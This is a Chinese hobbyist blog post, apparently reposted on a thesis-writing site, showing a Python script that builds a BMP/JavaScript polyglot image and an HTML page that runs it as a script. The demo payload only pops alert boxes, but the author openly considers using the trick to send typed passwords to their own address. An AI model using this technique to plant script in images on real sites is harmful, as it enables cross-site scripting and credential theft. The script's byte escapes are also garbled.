Python 图片注入js

Python 关于图片注入js

前段时间618呢,某宝上入手了几本python的书籍,对于一个PHPer来说,Python简直是打开了我新世界的大门啊!而只用python写过爬虫的我,就在端午假最后一天晚上,在《Python黑客攻防入门》P.91上翻到一篇好玩的东西——图片文件黑客攻击!(不是打广告哦)

基本原理

把一张bmp图片用python二进制文件模式(r+b)打开,插入一段注释开始符+JS代码+注释结束符,那么在页面中引入该图片,运行脚本也以图片的形式来运行,就可以在加载图片时,运行其中的js代码啦!
那么扩展一下,假如你进入了一个网页加载了一张图片,在该页面中输入了一些隐私信息,比如马云宝密码~~那通过图片中插入的js脚本是不是可以把这串密码发送到我指定的地址呢,我也不确定我没有实践过,插个眼等周末在玩。
这里就执行一个最简单的js,弹出一个框~

实现步骤

  1. 新建一张bmp位图 , 下载或者使用画图工具,生成一张bmp图片,在编辑器中打开,这里我用的是vscode中+hexdump扩展(show hexdump),打开可以看到这样子的:42对应ASCII码的B,4D则对应M,就是后面的BM啦,这个被称为魔数,只要这个不被破坏,那浏览器就能正确读这个位图文件;
    Python 图片注入js
  2. 接下来新建一个python文件,用于二进制打开这张图片并且向其中插入js代码;
    文件名我用了绝对路径,相对路径不行,这里再插个flag周末研究,嘻嘻~
#!/usr/local/bin/python3.6 # --- coding:UTF-8 --- # @Author: fang # @File: E:VScodeworkspaceHackImageHacking.py # @Date: 2020/06/28 # @Time: 00:45:08  # @Describe :bmp图片插入JS脚本 import os fname = "E:/VScode/workspace/Hack/hello.bmp"  pfile = open(fname, "rb") buff = pfile.read() #替换掉可能引发错误的*与/ buff.replace(b'x2Ax2F',b'x00x00') pfile.close()  pfile = open(fname, "wb") pfile.write(buff) #以起始位置为基准,光标后移两位 pfile.seek(2,0) pfile.write(b'x2Fx2A') pfile.close()  pfile = open(fname,"ab") pfile.write(b'xFFx2Ax2Fx3Dx31x3B') pfile.write(open ('E:/VScode/workspace/Hack/hello.js','rb').read()) pfile.close() print('success !')  
  1. 写下一个超简单的js ,复杂点的js就按老规矩等不上班啦;
alert('test'); alert('bmp'); 
  1. 新建一个HTML ,主要的代码就两句,引入图片,使用脚本:如果不成功试试绝对路径哈~
<img src="hello.bmp" /> <script src="hello.bmp"></script> 
  1. 结果 ,正确的结果应该是图片可以正常显示,并且js运行有两个弹框~偷个懒,太晚了白天还要上班…
    附一张bmp位图发生改变的图片收个尾
    Python 图片注入js就写这些吧,第一篇博客,写的有点简陋,还请大家见谅~大致表达的意思就是图片文件的攻击,相信聪明的猿(媛)都能看懂哒。
    后面还会更一些我觉得好玩的python及demo吧,嗯就这样~喜欢的小伙伴记得三连。
    Python 图片注入js
区块链毕设网(www.qklbishe.com)全网最靠谱的原创区块链毕设代做网站
部分资料来自网络,侵权联系删除!
资源收费仅为搬运整理打赏费用,用户自愿支付 !
qklbishe.com区块链毕设代做网专注|以太坊fabric-计算机|java|毕业设计|代做平台 » Python 图片注入js

提供最优质的资源集合

立即查看 了解详情